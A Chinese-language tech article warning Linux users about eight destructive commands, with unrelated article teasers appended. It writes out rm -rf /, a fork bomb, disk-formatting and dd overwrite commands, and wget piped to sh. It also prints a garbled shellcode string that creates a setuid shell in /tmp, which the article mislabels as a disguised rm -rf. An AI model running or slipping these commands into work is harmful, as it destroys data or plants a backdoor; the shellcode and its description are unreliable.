絕對不應該在 Linux 上運行的 8 個致命命令

絕對不應該在 Linux 上運行的 8 個致命命令

Linux 上的終端​​命令具有相當大的破壞性,如果你執行一個命令,它就會破壞你的系統。 Linux 在執行任何命令時不需要您確認。

了解哪些命令不應在 Linux 上運行有助於在 Linux 上工作時保護您的系統。以下是 8 個絕對不應該在 Linux 上運行的致命命令。

絕對不應該在 Linux 上運行的 8 個致命命令

1. rm -rf / - 刪除所有內容

rm -rf / 指令將刪除所有內容,包括硬碟上的檔案以及連接到電腦的媒體裝置上的檔案。

為了更好地理解該命令,分析如下:

  • rm – 刪除以下檔案。
  • -rf – 執行 rm(刪除指定資料夾內的所有文件和資料夾)並強行刪除所有文件,而不先詢問您。
  • / – 告訴 rm(例如 rm)從根目錄開始,包括電腦上的所有檔案。

Linux 會很高興地遵循這個命令並刪除所有內容而不警告你,所以使用這個命令時要小心。

此外,rm指令的使用方式也非常危險。例如, rm –rf ~ 將刪除主資料夾中的所有文件,而 rm -rf .* 將刪除所有設定檔。

2.偽裝指令 rm –rf /

以下是網路上隨處可見的一段程式碼:

char esp[] __attribute__ ((section(".text"))) /* esp 釋放 */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7 “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”「\x8d\x73\x08\x56\x53\x54\x59\xb0\xx0b\x\cdx x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

這本質上是 rm –rf / 的另一個版本 – 執行此命令也會刪除所有文件,就像運行 rm –rf / 一樣。

3. :(){ :|: & };: – 一種重磅炸彈

絕對不應該在 Linux 上運行的 8 個致命命令

下面的命令列看起來很簡單,但它的功能實際上很危險:

:(){ :|: & };:

這個簡短的命令將創建自身的新副本。也就是說,備份過程本身將是連續的,並且很快就會導致您的 CPU 和記憶體被填滿。

它還可能導致您的電腦當機。這基本上是一種拒絕服務 (DoS) 攻擊。

4. mkfs.ext4 /dev/sda1 – 硬碟格式

指令 mkfs.ext4 /dev/sda1 很容易理解:

  • mkfs.ext4 - 在下列裝置上建立 ext4 檔案系統。
  • /dev/sda1 - 標識第一個硬碟上的第一個分割區,這可能是正在使用的硬碟。

組合這兩個命令相當於在 Windows 上格式化 C: 磁碟機 - 刪除第一個分割區上的所有檔案並用新檔案系統取代它們。

此命令可以以多種不同的格式出現,例如 - mkfs.ext3 /dev/sdb2 將使用 ext3 檔案系統格式化第二個硬碟上的第二個分割區。

5. command > /dev/sda - 直接寫入硬碟

絕對不應該在 Linux 上運行的 8 個致命命令

命令列 > /dev/sda - 運行命令並將該命令的結果直接輸出到您的第一個硬碟驅動器,將資料直接寫入硬碟並破壞您的檔案系統。

  • 命令 – 運行命令(可以是任何命令)。
  • > – 將指令輸出傳送到以下位置。
  • /dev/sda – 將指令輸出直接寫入硬碟裝置。

6. dd if=/dev/random of=/dev/sda – 將愚蠢的資料寫入硬碟

dd if=/dev/random of=/dev/sda 行將刪除其中一個硬碟上的資料。

  • dd – 是執行從一個位置到另一個位置的低階複製。
  • if=/dev/random – 使用 /dev/random 作為輸入 – 您可能會看到類似 /dev/zero 的位址。
  • of=/dev/sda – 輸出到第一個硬碟驅動器,用隨機的愚蠢資料取代檔案系統。

7. mv ~ /dev/null – 將您的主目錄移到黑洞

/dev/null - 將某些內容移到 /dev/null 與銷毀它相同。將 /dev/null 視為黑洞。 mv ~ /dev/null 會將您所有的個人檔案傳送到黑洞。

  • mv – 將下列檔案或資料夾移至另一個位置。
  • ~ – 您的整個主資料夾。
  • /dev/null – 將您的主資料夾移至 /dev/null,它將銷毀您的所有檔案並刪除原始副本。

8. wget http://example.com/something -O – | sh – 載入並執行腳本

上面的命令將從網路下載一個腳本並將腳本發送到sh,sh將執行腳本的內容。如果您不確定腳本是什麼或沒有受信任的腳本來源,這可能會很危險 - 不要執行不受信任的腳本。

wget – 下載檔案。

http://example.com/something – 從此位置下載檔案。

| – 將 wget 指令的輸出(下載的版本檔案)直接透過管道(傳送)到另一個指令。

sh – 將檔案傳送到 sh 指令。

更多的文章可以參考下面的文章:

正玩得開心!


如何完全刪除雅虎工具列和搜尋。雅虎。 com?

如何完全刪除雅虎工具列和搜尋。雅虎。 com?

雅虎搜尋是合法的搜尋引擎。然而,它也被認為是瀏覽器劫持者,將用戶重定向到搜尋。雅虎。 com.該瀏覽器劫持者將劫持網絡瀏覽器主頁和搜尋引擎設置,以顯示雅虎搜尋主頁和搜尋引擎,而不是您之前設置的主頁和搜尋引擎。

了解 Windows 中的結束任務功能

了解 Windows 中的結束任務功能

結束工作是 Microsoft Windows 工作管理員中的一項功能。它位於“應用程式”選項卡中,允許用戶關閉任何回應或無回應的程式。

Windows + V:許多 Windows 使用者不知道的有用捷徑

Windows + V:許多 Windows 使用者不知道的有用捷徑

與許多其他平台一樣,Windows 也有一個專門的剪貼簿管理器,稱為「剪貼簿歷史記錄」。

如何在 Windows 10 上安裝 macOS Big Sur/iOS 14 小工具

如何在 Windows 10 上安裝 macOS Big Sur/iOS 14 小工具

macOS Big Sur 版本在最近的 WWDC 大會上正式公佈。並且您可以使用 Rainmeter 工具將 macOS Big Sur 的介面完全帶到 Windows 10 上。

如何保護遠端桌面免受 RDStealer 惡意軟體的侵害

如何保護遠端桌面免受 RDStealer 惡意軟體的侵害

RDStealer 是一種惡意軟體,它試圖透過感染 RDP 伺服器並監控其遠端連線來竊取憑證和資料。

7 個 Windows 最佳檔案管理軟體,可取代檔案總管

7 個 Windows 最佳檔案管理軟體,可取代檔案總管

也許是時候告別文件資源管理器並使用第三方文件管理軟體了?以下是 7 個最佳 Windows 檔案總管替代品。

LoRaWAN 是如何運作的?為什麼它對物聯網很重要?

LoRaWAN 是如何運作的?為什麼它對物聯網很重要?

LoRaWAN 或遠端無線區域網路對於低功耗設備之間的長距離通訊非常有用。

在 Windows 10 上開啟進階啟動選項的 8 種方法

在 Windows 10 上開啟進階啟動選項的 8 種方法

透過導覽至進階啟動選項,您可以重設 Windows 10、還原 Windows 10、從先前建立的映像檔還原 Windows 10、修復啟動錯誤、開啟命令提示字元以執行選項選擇不同、開啟 UEFI 設定、變更啟動設定。 ..

為什麼在使用社群網路帳號登入之前應該仔細考慮?

為什麼在使用社群網路帳號登入之前應該仔細考慮?

每次註冊新服務時,您都可以選擇使用者名稱和密碼,或直接使用 Facebook 或 Twitter 登入。但你應該這樣做嗎?

更改 Google DNS 8.8.8.8 和 8.8.4.4 的說明

更改 Google DNS 8.8.8.8 和 8.8.4.4 的說明

DNS Google 8.8.8.8 8.8.4.4是許多使用者選擇使用的DNS之一,特別是為了加速網路存取或存取被封鎖的Facebook。